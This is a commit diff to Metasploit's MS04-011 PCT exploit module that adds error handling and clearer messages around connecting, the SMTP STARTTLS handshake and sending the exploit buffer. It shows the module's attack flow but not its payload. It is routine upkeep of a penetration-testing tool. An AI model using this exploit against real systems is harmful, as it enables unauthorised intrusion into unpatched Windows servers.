Fix rapid7#4458, more informative errors for ms04_011

Fix rapid7#4458

Author: wchen-r7

modules/exploits/windows/ssl/ms04_011_pct.rb

@@ -112,7 +112,12 @@ def initialize(info = {})
   end
 
   def exploit
-    connect
+    begin
+      connect
+    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused => e
+      print_error("Cannot connect: #{e.message}")
+      return
+    end
 
     print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...")
 
@@ -133,22 +138,51 @@ def exploit
 
     # Connect to a SMTP service, call STARTTLS
     if (datastore['PROTO'] == 'smtp')
-      greeting = sock.get_once
+      begin
+        greeting = sock.get_once
+      rescue ::EOFError => e
+        print_error("Failed to receive data for the protocol greeting: #{e.message}")
+        return
+      end
 
-      sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
-      resp = sock.get_once
+      begin
+        sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n")
+        resp = sock.get_once
+      rescue ::Timeout::Error
+        print_error("Timedout while sending HELO")
+        return
+      rescue ::EOFError => e
+        print_error("Failed to receive a response for HELO: #{e.message}")
+        return
+      end
 
-      sock.put("STARTTLS\r\n")
-      resp = sock.get_once
+      begin
+        sock.put("STARTTLS\r\n")
+        resp = sock.get_once
+      rescue ::Timeout::Error
+        print_error("Timed out while sending STARTTLS")
+        return
+      rescue ::EOFError => e
+        print_error("Failed to receive a response for STARTTLS: #{e.message}")
+        return
+      end
 
       if (resp and resp !~ /^220/)
         print_warning("Warning: this server may not support STARTTLS")
       end
-
     end
 
-    sock.put(buf)
-    resp = sock.get_once
+
+    begin
+      sock.put(buf)
+      resp = sock.get_once
+    rescue ::Timeout::Error => e
+      print_error("Timed out while sending the malicious data")
+      return
+    rescue ::EOFError => e
+      print_error("Failed to receive a response after the malicious data: #{e.message}")
+      return
+    end
 
     if (resp == "\x00\x00\x01")
       print_status("The response indicates that the PCT protocol is disabled")